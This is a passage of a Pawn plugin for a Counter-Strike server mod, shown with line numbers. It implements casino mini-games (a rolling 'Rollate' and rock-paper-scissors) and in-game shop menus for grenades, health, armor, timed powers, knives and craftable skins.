  1595. iLen = format( g_sBuffer[ iLen ],1023 - iLen, "Rollate will show up stop it where ever u want^n")
  1596. iLen += format( g_sBuffer[ iLen ],1023 - iLen, "Lose%s^n", ( Player[ iClient ][ PLAYER_PRESENT ] == 1 ) ? "<<" : "")//1
  1597. iLen += format( g_sBuffer[ iLen ],1023 - iLen, "Lose%s^n", ( Player[ iClient ][ PLAYER_PRESENT ] == 2 ) ? "<<" : "")//2
  1598. iLen += format( g_sBuffer[ iLen ],1023 - iLen, "Lose%s^n", ( Player[ iClient ][ PLAYER_PRESENT ] == 3 ) ? "<<" : "")//3
  1599. iLen += format( g_sBuffer[ iLen ],1023 - iLen, "Lose%s^n", ( Player[ iClient ][ PLAYER_PRESENT ] == 4 ) ? "<<" : "")//4
  1600. iLen += format( g_sBuffer[ iLen ],1023 - iLen, "Win%s^n", ( Player[ iClient ][ PLAYER_PRESENT ] == 5 ) ? "<<" : "")//5
  1601. iLen += format( g_sBuffer[ iLen ],1023 - iLen, "Lose%s^n", ( Player[ iClient ][ PLAYER_PRESENT ] == 6 ) ? "<<" : "")//6
  1602. iLen += format( g_sBuffer[ iLen ],1023 - iLen, "Lose%s^n", ( Player[ iClient ][ PLAYER_PRESENT ] == 7 ) ? "<<" : "")//7
  1603. iLen += format( g_sBuffer[ iLen ],1023 - iLen, "Lose%s^n", ( Player[ iClient ][ PLAYER_PRESENT ] == 8 ) ? "<<" : "")//8
  1604. iLen += format( g_sBuffer[ iLen ],1023 - iLen, "Lose%s^n", ( Player[ iClient ][ PLAYER_PRESENT ] == 9 ) ? "<<" : "")//9
  1605. iLen += format( g_sBuffer[ iLen ],1023 - iLen, "*Note: U stop the rolling by Pressing ''E''^n")//9
  1606.  
  1607. if( Player[ iClient ][ PLAYER_TIMER ] >= Player[ iClient ][ PLAYER_RANDOM ] || Player[ iClient ][ PLAYER_ROLLATESTOP ])
  1608. {
  1609. set_hudmessage(255, 10, 10, 0.10, 0.09, 1, 6.0, 12.0, .channel = 1)
  1610. show_hudmessage(iClient, g_sBuffer)
  1611.  
  1612. if( Player[ iClient ][ PLAYER_PRESENT ] == 5 )
  1613. {
  1614. ColorPrint( 0, "^3%s^1 have^4 won^1 in the^4 Rollate^1 500$", GetUserName( iClient ));
  1615. Player[iClient][PLAYER_CASH] += 500;
  1616. }
  1617. Save( iClient );
  1618. remove_task( iClient + TASK_WISH );
  1619. }
  1620. else
  1621. {
  1622. // 1 - 2 - 3 - 4 - 5 - 6 - 7 - 8 - 9
  1623. Player[ iClient ][ PLAYER_TIMER ]++;
  1624. Player[ iClient ][ PLAYER_PRESENT ]++;
  1625.  
  1626. if( Player[ iClient ][ PLAYER_PRESENT ] >= 9 )
  1627. {
  1628. Player[ iClient ][ PLAYER_PRESENT ] = 1;
  1629. }
  1630.  
  1631. new Float:fNextWish;
  1632. new intTimer = Player[ iClient ][ PLAYER_RANDOM ] - 3;
  1633.  
  1634. if( !Player[ iClient ][ PLAYER_ROLLATESTOP ] )
  1635. {
  1636. if( Player[ iClient ][ PLAYER_TIMER ] >= intTimer )
  1637. fNextWish += 1.25;
  1638. else
  1639. fNextWish = 0.25;
  1640. }
  1641. else
  1642. {
  1643. fNextWish += 1.25;
  1644. }
  1645.  
  1646. set_hudmessage(0, 87, 255, 0.10, 0.09, 0, 6.0, fNextWish)
  1647. show_hudmessage( iClient, g_sBuffer)
  1648.  
  1649. set_task(fNextWish, "Task_MakeaWish", iClient + TASK_WISH);
  1650. }
  1651. }
  1652.  
  1653.  
  1654. public Menu_Casino_RPS( id )
  1655. {
  1656. new strTemp[100], strKey[6]
  1657. formatex(strTemp, 99, "\r[ \w%s \r] \yRock Paper Scissors\w Menu^n\wTokens: \w%i \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[id][PLAYER_TOKENS], GetPosition( id ), ArraySize( g_SteamID ) )
  1658. new menu = menu_create(strTemp, "Handler_Casino_RPS")
  1659.  
  1660. for(new i = 0; i < enumINFORPS; i++)
  1661. {
  1662. formatex(strTemp, 99, "\w%s", Casino_RPS_Names[i])
  1663. num_to_str(i, strKey, 5)
  1664. menu_additem(menu, strTemp, strKey)
  1665. }
  1666.  
  1667. menu_display(id, menu)
  1668. }
  1669.  
  1670. public Handler_Casino_RPS( iClient, menu, item )
  1671. {
  1672. if( item == MENU_EXIT)
  1673. {
  1674. menu_destroy( menu )
  1675. Menu_Casino( iClient )
  1676. }
  1677. else
  1678. {
  1679. Player[ iClient ][PLAYER_TOKENS] -= 3;
  1680.  
  1681. new intWinner = 0;
  1682. new ClientId = MenuKey( menu, item );
  1683. new ServerId = random_num( INFO_ROCK, INFO_SCISSORS );
  1684. // WON - 2
  1685. // LOSE - 1
  1686. // DRAW - 0
  1687. if( ClientId == INFO_ROCK)
  1688. {
  1689. if( ServerId == INFO_ROCK) intWinner = 0;
  1690. else if( ServerId == INFO_SCISSORS) intWinner = 2;
  1691. else if( ServerId == INFO_PAPER) intWinner = 1;
  1692. }
  1693. else if( ClientId == INFO_SCISSORS)
  1694. {
  1695. if( ServerId == INFO_ROCK) intWinner = 1;
  1696. else if( ServerId == INFO_SCISSORS) intWinner = 0;
  1697. else if( ServerId == INFO_PAPER) intWinner = 2;
  1698. }
  1699. else if( ClientId == INFO_PAPER)
  1700. {
  1701. if( ServerId == INFO_ROCK) intWinner = 2;
  1702. else if( ServerId == INFO_SCISSORS) intWinner = 1;
  1703. else if( ServerId == INFO_PAPER) intWinner = 0;
  1704. }
  1705.  
  1706. if( intWinner == 2 )
  1707. Player[ iClient ][PLAYER_CASH] += 1500;
  1708.  
  1709. Save( iClient );
  1710.  
  1711. ColorPrint( iClient, "^1You pick^3 %s^1 and the server^3 %s^1, the^4 match^1 reaslt^4 %s", Casino_RPS_Names[ ClientId ], Casino_RPS_Names[ ServerId ], ( intWinner == 0 ) ? "Draw" : ( intWinner == 1 ) ? "Server Won" : "You Won");
  1712. }
  1713. }
  1714.  
  1715.  
  1716. public Menu_Special(id)
  1717. {
  1718. if ( gNoPasswordEntered )
  1719. return PLUGIN_HANDLED;
  1720. new strTemp[100]
  1721. formatex(strTemp, 99, "\r[ \w%s \r] \ySpeacil\w Menu^n\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[id][PLAYER_CASH], GetPosition( id ), ArraySize( g_SteamID ) )
  1722. new menu = menu_create(strTemp, "Handler_Special")
  1723.  
  1724. menu_additem(menu, "Godmode \rfor\y, \d10 seconds \r [\w 4,500$ \r]", "1")
  1725. menu_additem(menu, "Noclip \rfor\y, \d10 seconds \r[\w 4,000$ \r]", "2")
  1726. menu_additem(menu, "Low Gravity \rfor\y, \d20 seconds \r[\w 3,500$ \r]", "3")
  1727. menu_additem(menu, "More Speed \rfor\y, \d20 seconds \r[\w 3,500$ \r]", "4")
  1728. menu_additem(menu, "Damage x2 \rfor\y, \d1 round \r[\w 6,000$ \r]", "5")
  1729.  
  1730. menu_display(id, menu)
  1731. return PLUGIN_HANDLED;
  1732. }
  1733.  
  1734.  
  1735.  
  1736. public Handler_Grenades( iClient, menu, item )
  1737. {
  1738. if( item == MENU_EXIT )
  1739. {
  1740. menu_destroy( menu )
  1741. Menu_Store( iClient )
  1742. }
  1743. else
  1744. {
  1745. new intGrenade = MenuKey( menu, item )
  1746.  
  1747. if( Grenade_Menu[ intGrenade ][ grenadeCost ] > Player[ iClient ][ PLAYER_CASH ] )
  1748. {
  1749. ColorPrint( iClient, "^1You dont got enough ^4money^1 for buying that.")
  1750. Menu_Grenades( iClient );
  1751. }
  1752. else
  1753. {
  1754. Player[ iClient ][ PLAYER_CASH ] -= Grenade_Menu[ intGrenade ][ grenadeCost ];
  1755.  
  1756. if( Grenade_Menu[ intGrenade ][ grenadeCSW ] == 0 )
  1757. {
  1758. give_grenade( iClient, CSW_HEGRENADE );
  1759. give_grenade( iClient, CSW_FLASHBANG );
  1760. give_grenade( iClient, CSW_SMOKEGRENADE );
  1761. }
  1762. else
  1763. give_grenade( iClient, Grenade_Menu[ intGrenade ][ grenadeCSW ] );
  1764.  
  1765. ColorPrint( iClient, "^1You bought ^3%s.", Grenade_Menu[ intGrenade ][ grenadeName ])
  1766.  
  1767. Menu_Shop( iClient )
  1768. Save( iClient )
  1769. }
  1770. }
  1771. }
  1772. public Handler_Health ( Client, menu, item )
  1773. {
  1774. if(item == MENU_EXIT)
  1775. {
  1776. menu_destroy( menu )
  1777. Menu_Store( Client )
  1778. }
  1779. else
  1780. {
  1781. new intHealth = MenuKey(menu, item)
  1782.  
  1783. if( Health_Info[ intHealth ][ 1 ] > Player[ Client ][ PLAYER_CASH ] )
  1784. {
  1785. ColorPrint( Client, "^1You dont got enough ^4money^1 for buying that.")
  1786. Menu_Health( Client );
  1787. }
  1788. else
  1789. {
  1790. Player[ Client ][ PLAYER_CASH ] -= Health_Info[ intHealth ][ 1 ]
  1791.  
  1792. set_user_health( Client, ( get_user_health( Client ) + Health_Info[ intHealth ][ 0 ] ) )
  1793.  
  1794. client_print( Client, print_center, "You bought %i health.", Health_Info[ intHealth ][ 0 ] )
  1795.  
  1796. Save( Client )
  1797. Menu_Shop( Client )
  1798. }
  1799. }
  1800. }
  1801. public Handler_Armor( Client, menu, item )
  1802. {
  1803. if(item == MENU_EXIT)
  1804. {
  1805. menu_destroy(menu)
  1806. Menu_Store( Client )
  1807. }
  1808. else
  1809. {
  1810. new intArmor = MenuKey(menu, item)
  1811.  
  1812. if( Armor_Info[ intArmor ][ 1 ] > Player[ Client ][ PLAYER_CASH ] )
  1813. {
  1814. ColorPrint( Client, "^1You dont got enough ^4money^1 for buying that.")
  1815. Menu_Armor( Client );
  1816. }
  1817. else
  1818. {
  1819. Player[ Client ][ PLAYER_CASH ] -= Armor_Info[ intArmor ][ 1 ]
  1820.  
  1821. new CsArmorType:iArmortype
  1822. cs_set_user_armor( Client, ( cs_get_user_armor( Client, iArmortype ) + Armor_Info[ intArmor ][ 0 ] ), CS_ARMOR_KEVLAR )
  1823.  
  1824.  
  1825. ColorPrint( Client, "^1You bought ^4%i^1 armor.", Armor_Info[intArmor][0])
  1826.  
  1827. Save( Client )
  1828. Menu_Shop( Client )
  1829. }
  1830. }
  1831. }
  1832. public Handler_Special( Client, menu, item )
  1833. {
  1834. if(item == MENU_EXIT)
  1835. {
  1836. menu_destroy( menu )
  1837. Menu_Shop( Client )
  1838. }
  1839. else
  1840. {
  1841. switch(MenuKey(menu, item))
  1842. {
  1843. case 1: // Godmode
  1844. {
  1845. if(Player[ Client ][ PLAYER_CASH ] >= 4500)
  1846. {
  1847. Player[ Client ][ PLAYER_CASH ] -= 4500
  1848.  
  1849. set_user_godmode(Client, 1)
  1850. set_task(10.0, "Task_RemoveGodmode", Client)
  1851.  
  1852. ColorPrint( Client, "^1You bought ^3godmode^1 for^4 10 seconds.")
  1853.  
  1854. Menu_Shop( Client )
  1855. Save( Client )
  1856. return
  1857. }
  1858. }
  1859. case 2: // Noclip
  1860. {
  1861. if(Player[ Client ][ PLAYER_CASH ] >= 4000)
  1862. {
  1863. Player[ Client ][ PLAYER_CASH ] -= 4000
  1864.  
  1865. set_user_noclip(Client, 1)
  1866. set_task(10.0, "Task_RemoveNoclip", Client)
  1867.  
  1868. ColorPrint( Client, "^1You bought ^3Noclip^1 for^4 10 seconds.")
  1869.  
  1870. Menu_Shop( Client )
  1871. Save( Client )
  1872. return
  1873. }
  1874. }
  1875. case 3: // Low Gravity
  1876. {
  1877. if( Player[ Client ][ PLAYER_CASH ] >= 3500 )
  1878. {
  1879. Player[ Client ][ PLAYER_CASH ] -= 3500
  1880.  
  1881. set_user_gravity( Client , 0.4 )
  1882. set_task( 20.0, "Task_RemoveGravity", Client )
  1883.  
  1884. ColorPrint( Client, "^1You bought ^3low gravity^1 for^4 20 seconds")
  1885.  
  1886. Menu_Shop( Client );
  1887. Save( Client )
  1888. return
  1889.  
  1890. }
  1891. }
  1892. case 4: // Speed
  1893. {
  1894. if(Player[ Client ][ PLAYER_CASH ] >= 3500)
  1895. {
  1896. Player[ Client ][ PLAYER_CASH ] -= 3500
  1897.  
  1898. set_user_maxspeed( Client, 300.0 )
  1899. set_task( 20.0, "Task_RemoveSpeed", Client )
  1900.  
  1901. ColorPrint( Client, "^1You bought ^3more speed^1 for^4 20 seconds")
  1902.  
  1903. Menu_Shop( Client )
  1904. Save( Client )
  1905. return
  1906. }
  1907. }
  1908. case 5: // Double Damage
  1909. {
  1910. if( Player[ Client ][ PLAYER_CASH ] >= 6000 )
  1911. {
  1912. Player[ Client ][ PLAYER_CASH ] -= 6000
  1913.  
  1914. Player[ Client ][ PLAYER_DOUBLEDMG ] = 1
  1915.  
  1916. ColorPrint( Client, "^1You bought ^3double damage^1 for^4 1 round")
  1917.  
  1918. Menu_Shop( Client )
  1919. Save( Client )
  1920. return
  1921. }
  1922. }
  1923. }
  1924. ColorPrint( Client, "^1You dont got enough ^4money^1 for buying that.")
  1925. Menu_Special( Client );
  1926. }
  1927. }
  1928. public Menu_Knifes(id)
  1929. {
  1930. if ( gNoPasswordEntered )
  1931. return PLUGIN_HANDLED;
  1932.  
  1933. new strTemp[ 501 ], strKey[6]
  1934. formatex(strTemp, charsmax( strTemp ), "\r[ \w%s \r] \yKnives\w Main Menu^n\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[id][PLAYER_CASH], GetPosition( id ), ArraySize( g_SteamID ) )
  1935. new menu = menu_create(strTemp, "Handler_Knifes")
  1936.  
  1937. for(new i = 0; i < enumKnifes; i++)
  1938. {
  1939. if(g_PlayerKnives[id][i])
  1940. formatex(strTemp, charsmax( strTemp ), "\w%s%s", Knife_Info[ i ][ INFOKNIFE_NANE ], playerUsingknife[id] == i ? " \y[Enabled]" : "")
  1941. else
  1942. formatex(strTemp, charsmax( strTemp ), "\d%s \r[ \w%i$\r ]", Knife_Info[ i ][ INFOKNIFE_NANE ], Knife_Info[ i ][ INFOKNIFE_PRICE ])
  1943.  
  1944. num_to_str(i, strKey, 5)
  1945. menu_additem(menu, strTemp, strKey)
  1946. }
  1947. menu_display(id, menu)
  1948. return PLUGIN_HANDLED;
  1949. }
  1950. public Handler_Knifes(id, menu, item)
  1951. {
  1952. if(item == MENU_EXIT)
  1953. {
  1954. menu_destroy(menu)
  1955. Menu_Shop(id)
  1956. }
  1957. else
  1958. {
  1959. Player[id][PLAYER_KNIFE] = MenuKey(menu, item)
  1960. Menu_KnifeInfo(id)
  1961. }
  1962. }
  1963.  
  1964.  
  1965. public Menu_KnifeDescrption(id)
  1966. {
  1967. if ( gNoPasswordEntered )
  1968. return PLUGIN_HANDLED;
  1969. new strTemp[ 256 ], iLen;
  1970.  
  1971. iLen = formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\r[ \w%s \r] \yKnife \wDescription^n", GAMETYPE);
  1972. iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i^n^n^n", Player[ id ][ PLAYER_CASH ], GetPosition( id ), ArraySize( g_SteamID ));
  1973. iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\rKnife Information^n\w%s \y| \wPrice \w%i\r$", Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_NANE ], Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_PRICE ]);
  1974.  
  1975. new menu = menu_create( strTemp, "Handler_Menu_KnifeDescrption" )
  1976.  
  1977. formatex( strTemp, charsmax( strTemp ), "\wHealth \y+\w%i", Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_EXTRA_HEALTH ])
  1978. menu_additem(menu, strTemp, "1", 0, menu_makecallback( "menuitem_callback" ))
  1979.  
  1980. formatex( strTemp, charsmax( strTemp ), "\wArmor \y+\w%i", Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_EXTRA_ARMOR ])
  1981. menu_additem(menu, strTemp, "2", 0, menu_makecallback( "menuitem_callback" ))
  1982.  
  1983. formatex( strTemp, charsmax( strTemp ), "\wCash per kill \y+\w%i\r$", Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_EXTRA_CASH ])
  1984. menu_additem(menu, strTemp, "3", 0, menu_makecallback( "menuitem_callback" ))
  1985.  
  1986. formatex( strTemp, charsmax( strTemp ), "\wDamage \y+\w%i", Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_EXTRA_DMG ])
  1987. menu_additem(menu, strTemp, "4", 0, menu_makecallback( "menuitem_callback" ))
  1988.  
  1989. formatex( strTemp, charsmax( strTemp ), "\wSlag \y+\w%i\r%%", Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_SLAG ])
  1990. menu_additem(menu, strTemp, "5", 0, menu_makecallback( "menuitem_callback" ))
  1991.  
  1992. formatex( strTemp, charsmax( strTemp ), "\wLifeSteal \y+\w%i", Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_LIFE_STEAL ])
  1993. menu_additem(menu, strTemp, "6", 0, menu_makecallback( "menuitem_callback" ))
  1994.  
  1995. menu_setprop( menu, MPROP_EXITNAME, "Back" );
  1996. menu_display(id, menu)
  1997. return PLUGIN_HANDLED;
  1998. }
  1999. public menuitem_callback( id, menu, item )
  2000. {
  2001. return ITEM_DISABLED;
  2002. }
  2003.  
  2004. public Handler_Menu_KnifeDescrption(id, menu, item)
  2005. {
  2006. if(item == MENU_EXIT)
  2007. {
  2008. menu_destroy(menu)
  2009. Menu_KnifeInfo(id)
  2010. }
  2011. else
  2012. {
  2013. Menu_KnifeDescrption( id );
  2014. }
  2015. }
  2016.  
  2017. public Menu_KnifeInfo(id)
  2018. {
  2019. new strTemp[501]
  2020. formatex(strTemp, charsmax( strTemp ), "\r[ \w%s \r] \wKnife Information^n\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i^n^n^n\wKnife:\r %s^n\yPlayer Model \w[ %s \w]^n\ySound Effect \w[ %s \w]", GAMETYPE, Player[ id ][ PLAYER_CASH ], GetPosition( id ), ArraySize( g_SteamID ), Knife_Info[Player[id][PLAYER_KNIFE]][ INFOKNIFE_NANE ], Knife_Info[Player[id][PLAYER_KNIFE]][ INFOKNIFE_DESCRPTION ], Knife_Info[Player[id][PLAYER_KNIFE]][ INFOKNIFE_DESCRPTION2 ])
  2021. new menu = menu_create(strTemp, "Handler_KnifeInfo")
  2022.  
  2023. menu_additem(menu, "Knife Descrption", "1")
  2024. menu_additem(menu, g_PlayerKnives[id][Player[id][PLAYER_KNIFE]] ? "\rEnabled" : "\wPurchase", "2")
  2025.  
  2026. menu_display(id, menu)
  2027. }
  2028. public Handler_KnifeInfo(id, menu, item)
  2029. {
  2030. menu_destroy(menu)
  2031.  
  2032. if(item == MENU_EXIT)
  2033. {
  2034. Menu_Shop(id)
  2035. }
  2036. else if( item == 0 )
  2037. {
  2038. Menu_KnifeDescrption(id)
  2039. }
  2040. else
  2041. {
  2042. if(g_PlayerKnives[id][Player[id][PLAYER_KNIFE]])
  2043. {
  2044. playerUsingknife[id] = Player[id][PLAYER_KNIFE]
  2045. client_print(id, print_center, "You enabled %s", Knife_Info[ playerUsingknife[ id ] ][ INFOKNIFE_NANE ])
  2046. ColorPrint( id, "^3You enabled ^4%s", Knife_Info[ playerUsingknife[ id ] ][ INFOKNIFE_NANE ])
  2047.  
  2048. if(Skin_Info[ playerUsingSkin[ id ] ][ SKIN_KNIFE ] != -1 && playerUsingknife[ id ] != Skin_Info[ playerUsingSkin[ id ] ][ SKIN_KNIFE ] )
  2049. {
  2050. playerUsingSkin[ id ] = SKIN_PIRSONER;
  2051. ColorPrint(id, "^1Skin ^4Automaticly^1 changed to ^3Prisoner Skin")
  2052.  
  2053. cs_set_user_model( id, Skin_Names[ playerUsingSkin[ id ] ][ DETILS_DOWN ] );
  2054. }
  2055. user_update_knife(id)
  2056. }
  2057. else if(Player[id][PLAYER_KNIFE] && !g_PlayerKnives[id][Player[id][PLAYER_KNIFE]-1])
  2058. {
  2059. ColorPrint( id, "^1You first need to buy ^3%s^1 before you can buy ^4%s", Knife_Info[ Player[ id ][ PLAYER_KNIFE ] - 1 ][ INFOKNIFE_NANE ], Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_NANE ] )
  2060. }
  2061. else if(Player[id][PLAYER_CASH] < Knife_Info[Player[id][PLAYER_KNIFE]][ INFOKNIFE_PRICE ])
  2062. {
  2063. ColorPrint( id, "^1You dont got enough^4 money^1 for buying^3 knife")
  2064. }
  2065. else
  2066. {
  2067. Player[id][PLAYER_CASH] -= Knife_Info[Player[id][PLAYER_KNIFE]][ INFOKNIFE_PRICE ]
  2068.  
  2069. g_PlayerKnives[id][Player[id][PLAYER_KNIFE]] = 1
  2070. playerUsingknife[id] = Player[id][PLAYER_KNIFE]
  2071.  
  2072. ShopLog(id, "< Shop - Knife Shop>: %s (Left Cash %i)", Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_NANE ], Player[ id ][ PLAYER_CASH ])
  2073.  
  2074. ColorPrint( 0, "^4%s^1 bought the knife ^3%s", GetUserName( id ), Knife_Info[ Player[ id ][ PLAYER_KNIFE ] ][ INFOKNIFE_NANE ] );
  2075.  
  2076. user_update_knife(id)
  2077. }
  2078. }
  2079. }
  2080. public Menu_Skins(id)
  2081. {
  2082. new strTemp[100], strKey[6], strKnife[ 64 ];
  2083. formatex(strTemp, 99, "\r[ \w%s \r] \ySkins\w Main Menu^n\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[id][PLAYER_CASH], GetPosition( id ), ArraySize( g_SteamID ) )
  2084. new menu = menu_create(strTemp, "Handler_Skin")
  2085.  
  2086. for(new i = 0; i < enumSkins; i++)
  2087. {
  2088.  
  2089. if( Skin_Info[ i ][ SKIN_KNIFE ] != -1 && !g_PlayerKnives[id][Skin_Info[ i ][ SKIN_KNIFE ]] )
  2090. formatex( strKnife, charsmax( strKnife ), "\r[ \wLOCKED \r]");
  2091. else
  2092. formatex( strKnife, charsmax( strKnife ), "\d[ \yUNLOCKED \d]");
  2093. if(g_PlayerSkins[id][i]
  2094. || !i)
  2095. formatex(strTemp, 99, "\w%s%s", Skin_Names[ i ][ DETILS_NAME ], playerUsingSkin[id] == i ? " \y[Enabled]" : "")
  2096. else
  2097. formatex(strTemp, 99, "\d%s %s", Skin_Names[ i ][ DETILS_NAME ], strKnife)
  2098.  
  2099. num_to_str(i, strKey, 5)
  2100. menu_additem(menu, strTemp, strKey)
  2101. }
  2102. menu_display(id, menu)
  2103. }
  2104. public Handler_Skin(id, menu, item)
  2105. {
  2106. if(item == MENU_EXIT)
  2107. {
  2108. menu_destroy(menu)
  2109. Menu_Shop(id)
  2110. }
  2111. else
  2112. {
  2113. Player[id][PLAYER_SKIN] = MenuKey(menu, item)
  2114. Menu_SkinInfo(id)
  2115. }
  2116. }
  2117. public Menu_SkinInfo(id)
  2118. {
  2119. new strTemp[ 215 ], iLen;
  2120.  
  2121. iLen = formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\r[ \w%s \r] \wSkin Information^n", GAMETYPE);
  2122. iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i^n^n", Player[id][PLAYER_CASH], GetPosition( id ), ArraySize( g_SteamID ) );
  2123.  
  2124. iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\wSkin:\r %s^n", Skin_Names[ Player[ id ][ PLAYER_SKIN ] ][ DETILS_NAME ] );
  2125. iLen += formatex( strTemp[ iLen ], sizeof( strTemp ) - 1 - iLen, "\d%s^n", Skin_Names[ Player[ id ][ PLAYER_SKIN ] ][ DETILS_INFO ] );
  2126.  
  2127. new menu = menu_create(strTemp, "Handler_SkinInfo")
  2128.  
  2129. menu_additem( menu, "\wSkin Descrption", "1" );
  2130.  
  2131. if( g_PlayerSkins[id][Player[id][PLAYER_SKIN]] )
  2132. formatex( strTemp, charsmax( strTemp ), "Enable");
  2133. else
  2134. formatex( strTemp, charsmax( strTemp ), "%s", GetReason( id, Player[id][PLAYER_SKIN] ));
  2135.  
  2136. menu_additem(menu, strTemp, "2", 0, menu_makecallback( "menuitem_callbackc" ))
  2137.  
  2138. menu_additem(menu, "\wUpgrade Skin !", "3", 0, menu_makecallback( "menuitem_callbackcc" ));
  2139.  
  2140. menu_display(id, menu)
  2141. }
  2142. public Handler_SkinInfo(id, menu, item)
  2143. {
  2144. menu_destroy(menu)
  2145.  
  2146. if(item == MENU_EXIT)
  2147. {
  2148. Menu_Skins(id)
  2149. }
  2150. switch( item )
  2151. {
  2152. case 0: Menu_SkinDescrption( id );
  2153. case 1:
  2154. {
  2155. if(g_PlayerSkins[id][Player[id][PLAYER_SKIN]] || !Player[id][PLAYER_SKIN])
  2156. {
  2157. if(Skin_Info[Player[id][PLAYER_SKIN]][ SKIN_KNIFE ] != -1 && playerUsingknife[ id ] != Skin_Info[ Player[ id ][ PLAYER_SKIN ] ][ SKIN_KNIFE ] )
  2158. {
  2159. ColorPrint(id, "You cant use ^4%s^1 if u dont currctly use^3 %s Knife", Skin_Names[ Player[id][PLAYER_SKIN] ][ DETILS_NAME ], Knife_Info[ Skin_Info[ Player[ id ][ PLAYER_SKIN ] ][ SKIN_KNIFE ] ][ INFOKNIFE_NANE ])
  2160. Menu_Skins( id );
  2161. return PLUGIN_HANDLED
  2162. }
  2163.  
  2164. playerUsingSkin[id] = Player[ id ][ PLAYER_SKIN ];
  2165. ColorPrint( id, "^1You^4 enabled^3 %s", Skin_Names[playerUsingSkin[id]])
  2166. }
  2167. else if( Skin_Info[Player[id][PLAYER_SKIN]][ SKIN_KNIFE ] != -1 && !g_PlayerKnives[id][Skin_Info[Player[id][PLAYER_SKIN]][ SKIN_KNIFE ]] )
  2168. {
  2169. ColorPrint( id, "^1You first need to buy^4 %s Knife^1 before you can buy the^3 skin", Knife_Info[ Skin_Info[ Player[ id ][ PLAYER_SKIN ] ][ SKIN_KNIFE ] ][ INFOKNIFE_NANE ])
  2170. }
  2171. else
  2172. {
  2173. if(!CheckSkin(id, Player[id][PLAYER_SKIN]))
  2174. {
  2175. ColorPrint( id, "^1You dont got enough^3 Craft^1 -^4 Items^1 for craft that.")
  2176. Menu_Skins(id)
  2177. return PLUGIN_HANDLED
  2178. }
  2179. else
  2180. {
  2181. for(new i = 0; i < enumMeatlts; i++)
  2182. mPlayer[id][i] -= Skin_InfoMealts[ Player[id][PLAYER_SKIN] ][ i ]
  2183.  
  2184. g_PlayerSkins[id][Player[id][PLAYER_SKIN]] = 1
  2185. playerUsingSkin[id] = Player[ id ][ PLAYER_SKIN ];
  2186.  
  2187. ColorPrint( 0, "^4%s^1 crafted the skin ^3%s", GetUserName( id ), Skin_Names[ Player[ id ][ PLAYER_SKIN ] ][ DETILS_NAME ] );
  2188.  
  2189. cs_set_user_model(id, Skin_Names[ Player[ id ][ PLAYER_SKIN ] ][ DETILS_DOWN ])
  2190. Save( id )
  2191. }
  2192. }
  2193. }
  2194. case 2:
  2195. {
  2196. Menu_SkinsPromote( id );
  2197. }
  2198.  
  2199. }
  2200. return PLUGIN_HANDLED;
  2201. }
  2202.  
  2203.  
  2204.  
  2205.  
  2206. public Menu_SkinsPromote(id)
  2207. {
  2208. new strTemp[ 256 ], strKey[6], strKnife[ 64 ];
  2209. formatex(strTemp, 255, "\r[ \w%s \r] \ySkin's\w Upgrade Menu^n\wCash: \w%i\r% \y| \wRank \y%i \dout of \r%i^n^n\w%s \rUpgrade:", GAMETYPE, Player[id][PLAYER_CASH], GetPosition( id ), ArraySize( g_SteamID ), Skin_Names[Player[id][PLAYER_SKIN]] )
  2210. new menu = menu_create(strTemp, "Handler_Menu_SkinsPromote")
  2211.  
  2212. for( new i = 0; i < enumSkinInfo - MAXUPGRADES; i++ )
  2213. {
  2214. num_to_str(i, strKey, 5)
  2215. formatex( strKnife, charsmax( strKnife ), "\w%s", Upgrade_Names[ i ][ upgrName ]);
  2216. menu_additem(menu, strKnife, strKey)
  2217. }
  2218.  
  2219. menu_display(id, menu)
  2220. }
  2221.  
  2222. public Handler_Menu_SkinsPromote(id, menu, item)
  2223. {
  2224. if(item == MENU_EXIT)
  2225. {
  2226. menu_destroy(menu)
  2227. Menu_SkinInfo(id)
  2228. }
  2229. else
  2230. {
  2231.  
  2232. Player[ id ][ PLAYER_UPGRADE ] = MenuKey( menu, item );
  2233. Menu_UpgradeDescrption( id );
  2234. }
  2235. }
  2236.  
  2237.  
  2238. public menuitem_callbackcc( id, menu, item )
  2239. {
  2240. new playerChoosenSkin = Player[ id ][ PLAYER_SKIN ];
  2241.  
  2242. if( !g_PlayerSkins[id][ playerChoosenSkin ] )
  2243. {
  2244. return ITEM_DISABLED;
  2245. }
  2246. return ITEM_IGNORE;
  2247. }
  2248.  
  2249. public menuitem_callbackc( id, menu, item )
  2250. {
  2251. if( !g_PlayerSkins[id][ Player[ id ][ PLAYER_SKIN ] ] )
  2252. {
  2253. if( Skin_Info[ item ][ SKIN_KNIFE ] != -1 && !g_PlayerKnives[id][Skin_Info[ item ][ SKIN_KNIFE ]] )
  2254. {
  2255. return ITEM_DISABLED;
  2256. }
  2257. else if(!CheckSkin(id, item))
  2258. {
  2259. return ITEM_DISABLED;
  2260. }
  2261. }
  2262. return ITEM_IGNORE;
  2263. }
  2264.  
  2265.  
  2266. public Menu_UpgradeDescrption(id)
  2267. {
